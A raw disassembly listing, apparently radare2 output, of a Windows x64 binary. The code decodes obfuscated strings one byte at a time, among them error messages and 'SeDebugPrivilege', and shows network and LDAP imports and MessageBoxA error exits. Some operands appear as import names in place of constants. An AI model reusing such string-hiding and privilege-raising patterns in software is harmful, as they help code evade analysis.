lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8bb], al
mov r9d, r12d
lea r8d, [r12 - 3]
mov dl, 0x65
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8bc], al
mov r9d, r12d
lea r8d, [r12 - 2]
mov dl, 0x78
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8bd], al
mov r9d, r12d
lea r8d, [r12 - 1]
mov dl, 0x65
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8be], al
xor eax, eax
mov byte [rbp + 0x8bf], al
mov edi, eax
lea r12d, [r13 + 0x10]
mov r9d, reloc.WLDAP32.dll_Ordinal_30
mov r8, rdi
mov dl, byte [rbp + rdi + 0x8a1]
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + rdi + 0x8a1], al
add rdi, r14
cmp rdi, 0x1e
jb 0x14002c45b
xor eax, eax
mov byte [rbp + 0x8bf], al
lea rax, [rbp + 0x8a1]
mov qword [rbp + 0xbf0], rax
lea rax, [rbp + 0xbe8]
mov qword [rbp - 0x60], rax
lea rax, [rbp + 0xbf8]
mov qword [rbp - 0x58], rax
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
lea r8, [rbp + 0xbe1]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xeb8]
call fcn.140042bd8
xor ecx, ecx
call fcn.1400ace3c
mov rcx, rax
call fcn.1400a8864
call fcn.1400a18a0
or dword [rbp + 0x2384], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1000]
call fcn.1400437d4
mov rdi, qword [rbp + 0xec0]
sub rdi, qword [rbp + 0xeb8]
sar rdi, 3
lea rcx, [rbp + 0x1000]
call fcn.1400431ec
mov eax, eax
xor edx, edx
div rdi
mov qword [rbp - 0x50], rdx
xor ecx, ecx
mov dword [rsp + 0x78], ecx
mov rax, qword [rbp + 0xec0]
mov rdi, qword [rbp + 0xeb8]
sub rax, rdi
sar rax, 3
test rax, rax
lea r14d, [rcx + 0x1f]
je 0x14002c59d
movsxd rcx, edx
mov rcx, qword [rdi + rcx*8]
call fcn.1400285a0
mov dword [rbp - 0x68], eax
test eax, eax
jne 0x14002ca51
mov rcx, qword [rbp + 0xec0]
mov rdi, qword [rbp + 0xeb8]
sub rcx, rdi
sar rcx, 3
mov rax, qword [rbp - 0x50]
inc eax
cdqe
xor edx, edx
div rcx
mov qword [rbp - 0x50], rdx
mov eax, dword [rsp + 0x78]
inc eax
mov dword [rsp + 0x78], eax
cdqe
cmp rax, rcx
jb 0x14002c54f
mov byte [rbp + 0x3f8], 0x56
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x3f9], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x3fa], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x3fb], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x3fc], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x3fd], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x3fe], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x3ff], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x400], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x401], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r12b
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x402], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x403], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x404], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x405], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x406], al
mov r9, rbx
lea r15d, [rsi + 0xd]
mov r8d, r15d
mov dl, 0x75
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x407], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x408], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + 0x409], al
xor eax, eax
mov byte [rbp + 0x40a], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x3f9]
lea rcx, [rbp + 0x3f8]
call fcn.1400429f8
mov byte [rbp + rdi + 0x3f9], al
add rdi, rsi
cmp rdi, rbx
jb 0x14002c782
xor eax, eax
mov byte [rbp + 0x40a], al
mov byte [rbp + 0x6e0], 0x43
lea edi, [rax + 0x15]
mov r9d, edi
xor r8d, r8d
mov dl, 0x46
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6e1], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6e2], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, 0x69
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6e3], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x6c
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6e4], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x65
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6e5], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x64
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6e6], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, r12b
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6e7], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6e8], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6e9], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, r12b
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6ea], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6eb], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6ec], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x65
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6ed], al
mov r9d, edi
mov r8, r14
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6ee], al
mov r9d, edi
mov r8, r15
mov dl, r12b
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6ef], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x43
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6f0], al
mov r9d, edi
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6f1], al
mov r9d, edi
mov r8, rbx
mov dl, 0x69
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6f2], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x65
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6f3], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6f4], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + 0x6f5], al
xor eax, eax
mov byte [rbp + 0x6f6], al
xor esi, esi
mov ebx, esi
lea r14d, [rdi - 0x14]
mov r9, rdi
mov r8, rbx
mov dl, byte [rbp + rbx + 0x6e1]
lea rcx, [rbp + 0x6e0]
call fcn.140042ae8
mov byte [rbp + rbx + 0x6e1], al
add rbx, r14
cmp rbx, rdi
jb 0x14002ca00
mov byte [rbp + 0x6f6], sil
xor r9d, r9d
lea r8, [rbp + 0x3f9]
lea rdx, [rbp + 0x6e1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r14d
call fcn.1400a8858
int3
mov byte [rbp + 0x950], 0x3f
mov edi, Ordinal_41
mov r9d, edi
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x951], al
mov r9d, edi
lea r8d, [rdi - 0x25]
mov dl, WSAStartup
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x952], al
mov r9d, edi
lea r8d, [rdi - 0x24]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x953], al
mov r9d, edi
lea r8d, [rdi - 0x23]
mov dl, 0x63
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x954], al
mov r9d, edi
lea r8d, [rdi - 0x22]
mov dl, 0x65
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x955], al
mov r9d, edi
lea r8d, [rdi - 0x21]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x956], al
mov r9d, edi
lea r8d, [rdi - 0x20]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x957], al
mov r9d, edi
lea r8d, [rdi - 0x1f]
mov dl, 0x69
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x958], al
mov r9d, edi
lea r8d, [rdi - 0x1e]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x959], al
mov r9d, edi
lea r8d, [rdi - 0x1d]
mov dl, 0x67
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x95a], al
mov r9d, edi
lea r8d, [rdi - 0x1c]
mov dl, r12b
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x95b], al
mov r9d, edi
lea r8d, [rdi - 0x1b]
mov dl, 0x43
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x95c], al
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x95d], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, 0x6d
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x95e], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x95f], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x6c
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x960], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x961], al
mov r9d, edi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x962], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, 0x65
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x963], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, Ordinal_45
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x964], al
mov r9d, edi
mov r8, rsi
mov dl, r12b
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x965], al
mov r9d, edi
lea edi, [r9 - 0x11]
mov r8d, edi
mov dl, 0x50
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x966], al
lea r9d, [rdi + 0x11]
lea r8d, [rdi + 1]
mov dl, WSAStartup
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x967], al
lea r9d, [rdi + 0x11]
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x968], al
lea r15d, [rdi + 0x11]
mov r9d, r15d
lea r8d, [rdi + 3]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x969], al
mov r9d, r15d
lea r8d, [rdi + 4]
mov dl, 0x61
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x96a], al
mov r9d, r15d
lea r8d, [rdi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x96b], al
mov r9d, r15d
lea r8d, [rdi + 6]
mov dl, 0x69
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x96c], al
mov r9d, r15d
lea r8d, [rdi + 7]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x96d], al
mov r9d, r15d
lea r8d, [rdi + 8]
mov dl, 0x67
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x96e], al
mov r9d, r15d
lea r8d, [rdi + 9]
mov dl, r12b
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x96f], al
mov r9d, r15d
mov r8, r14
mov dl, 0x49
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x970], al
mov r9d, r15d
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x971], al
mov r9d, r15d
lea r8d, [rdi + 0xc]
mov dl, 0x61
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x972], al
mov r9d, r15d
lea r8d, [rdi + 0xd]
mov dl, 0x67
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x973], al
mov r9d, r15d
lea r8d, [rdi + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x974], al
mov r9d, r15d
lea r8d, [rdi + 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x975], al
mov r9d, r15d
lea edx, [rdi - 0xb]
lea r8d, [rdi + 0x10]
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + 0x976], al
xor eax, eax
mov byte [rbp + 0x977], al
mov r15d, eax
lea r13d, [rdi - 0x14]
mov r9d, Ordinal_41
mov r8, r15
mov dl, byte [rbp + r15 + 0x951]
lea rcx, [rbp + 0x950]
call fcn.140042818
mov byte [rbp + r15 + 0x951], al
add r15, r13
cmp r15, 0x26
jb 0x14002ce74
xor r15d, r15d
mov byte [rbp + 0x977], r15b
lea rcx, [rbp + 0x951]
call fcn.14001f8a8
call fcn.140028304
test al, al
mov r15d, reloc.WS2_32.dll_socket
lea r13d, [r15 - 7]
jne 0x14002d4b8
mov byte [rbp + 0x440], 0x78
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x441], al
mov r9, rbx
lea r15d, [r13 - 0xf]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x442], al
mov r9, rbx
lea r8d, [r13 - 0xe]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x443], al
mov r9, rbx
lea r8d, [r13 - 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x444], al
mov r9, rbx
lea r8d, [r13 - 0xc]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x445], al
mov r9, rbx
lea r8d, [r13 - 0xb]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x446], al
mov r9, rbx
lea r8d, [r13 - 0xa]
mov dl, WSAStartup
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x447], al
mov r9, rbx
lea r8d, [r13 - 9]
mov dl, 0x61
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x448], al
mov r9, rbx
lea r8d, [r13 - 8]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x449], al
mov r9, rbx
lea r8d, [r13 - 7]
mov dl, r12b
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x44a], al
mov r9, rbx
lea r8d, [r13 - 6]
mov dl, 0x46
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x44b], al
mov r9, rbx
lea r8d, [r13 - 5]
mov dl, 0x61
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x44c], al
mov r9, rbx
lea r8d, [r13 - 4]
mov dl, 0x69
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x44d], al
mov r9, rbx
lea r8d, [r13 - 3]
mov dl, 0x6c
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x44e], al
mov r9, rbx
lea r8d, [r13 - 2]
mov dl, 0x75
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x44f], al
mov r9, rbx
lea r8d, [r13 - 1]
mov dl, WSAStartup
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x450], al
mov r9, rbx
mov r8d, r13d
mov dl, 0x65
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + 0x451], al
xor eax, eax
mov byte [rbp + 0x452], al
mov esi, eax
mov r9, rbx
mov r8, rsi
mov dl, byte [rbp + rsi + 0x441]
lea rcx, [rbp + 0x440]
call fcn.1400429f8
mov byte [rbp + rsi + 0x441], al
add rsi, r15
cmp rsi, rbx
jb 0x14002d0ad
xor eax, eax
mov byte [rbp + 0x452], al
mov byte [rbp + 0x8e8], 0x62
mov r9, r14
xor r8d, r8d
mov dl, 0x46
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8e9], al
mov r9, r14
mov r8, r15
mov dl, 0x61
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8ea], al
mov r9, r14
mov r8d, 2
mov dl, 0x69
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8eb], al
mov r9, r14
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8ec], al
mov r9, r14
mov r8d, 4
mov dl, 0x65
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8ed], al
mov r9, r14
mov r8d, 5
mov dl, 0x64
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8ee], al
mov r9, r14
mov r8d, 6
mov dl, r12b
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8ef], al
mov r9, r14
mov r8d, 7
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8f0], al
mov r9, r14
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8f1], al
mov r9, r14
mov r8d, 9
mov dl, r12b
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8f2], al
mov r9, r14
mov r8d, 0xa
mov dl, 0x43
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8f3], al
mov r9, r14
mov r8d, ntohs
mov dl, 0x6c
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8f4], al
mov r9, r14
mov r8d, ntohs
mov dl, 0x65
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8f5], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x61
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8f6], al
mov r9, r14
mov r8d, select
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8f7], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x75
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8f8], al
mov r9, r14
mov r8, r13
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8f9], al
mov r9, r14
mov r8, rbx
mov dl, r12b
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8fa], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x49
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8fb], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_send
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8fc], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_sendto
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8fd], al
mov r9, r14
mov r8, rdi
mov dl, 0x65
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8fe], al
mov r9, r14
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, WSAStartup
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x8ff], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_socket
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x900], al
mov r9, r14
mov r8d, Ordinal_27
mov dl, 0x65
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x901], al
mov r9, r14
mov r8d, Ordinal_27
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x902], al
mov r9, r14
mov r8d, reloc.WLDAP32.dll_Ordinal_26
mov dl, r12b
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x903], al
mov r9, r14
mov r8d, reloc.WLDAP32.dll_Ordinal_27
mov dl, 0x44
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x904], al
mov r9, r14
mov r8d, Ordinal_32
mov dl, 0x61
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x905], al
mov r9, r14
mov r8d, Ordinal_32
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x906], al
mov r9, r14
mov r8d, reloc.WLDAP32.dll_Ordinal_30
mov dl, 0x61
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + 0x907], al
xor eax, eax
mov byte [rbp + 0x908], al
xor ebx, ebx
mov edi, ebx
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi + 0x8e9]
lea rcx, [rbp + 0x8e8]
call fcn.140042a70
mov byte [rbp + rdi + 0x8e9], al
add rdi, r15
cmp rdi, r14
jb 0x14002d468
mov byte [rbp + 0x908], bl
xor r9d, r9d
lea r8, [rbp + 0x441]
lea rdx, [rbp + 0x8e9]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r15d
call fcn.1400a8858
int3
mov byte [rbp + 0x2d8], 0x79
mov r9, r13
xor r8d, r8d
mov dl, 0x53
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2d9], al
mov r9, r13
mov r12d, 1
mov r8d, r12d
mov dl, 0x65
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2da], al
mov r9, r13
lea r8d, [r12 + 1]
mov dl, 0x44
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2db], al
mov r9, r13
lea r8d, [r12 + 2]
mov dl, 0x65
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2dc], al
mov r9, r13
lea r8d, [r12 + 3]
mov dl, 0x62
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2dd], al
mov r9, r13
lea r8d, [r12 + 4]
mov dl, 0x75
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2de], al
mov r9, r13
lea r8d, [r12 + 5]
mov dl, 0x67
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2df], al
mov r9, r13
lea r8d, [r12 + 6]
mov dl, 0x50
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2e0], al
mov r9, r13
lea r8d, [r12 + 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2e1], al
mov r9, r13
lea r8d, [r12 + 8]
mov dl, 0x69
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2e2], al
mov r9, r13
lea r8d, [r12 + 9]
mov dl, 0x76
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2e3], al
mov r9, r13
lea r8d, [r12 + 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2e4], al
mov r9, r13
lea r8d, [r12 + 0xb]
mov dl, 0x6c
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2e5], al
mov r9, r13
lea r8d, [r12 + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2e6], al
mov r9, r13
lea r8d, [r12 + 0xd]
mov dl, 0x67
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2e7], al
mov r9, r13
lea r8d, [r12 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + 0x2e8], al
xor eax, eax
mov byte [rbp + 0x2e9], al
mov edi, eax
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2d9]
lea rcx, [rbp + 0x2d8]
call fcn.140042980
mov byte [rbp + rdi + 0x2d9], al
add rdi, r12
cmp rdi, r13
jb 0x14002d68b
xor edi, edi
mov byte [rbp + 0x2e9], dil
lea rcx, [rbp + 0x2d9]
call fcn.140028104
mov qword [rbp + 0xcd8], rdi
mov dword [rbp + 0xd68], gethostname
mov qword [rbp + 0xd70], rdi
mov dword [rbp + 0xd80], edi
mov qword [rbp + 0xd78], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xd88], xmm0
mov eax, dword [rbp - 0x68]
mov qword [rbp + 0xd58], rax
mov qword [rbp + 0xd60], rdi
mov byte [rbp + 0x248], reloc.WLDAP32.dll_Ordinal_22
mov edi, reloc.WS2_32.dll_listen
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + 0x249], al
mov r9d, edi
mov r13, r12
mov r8, r12
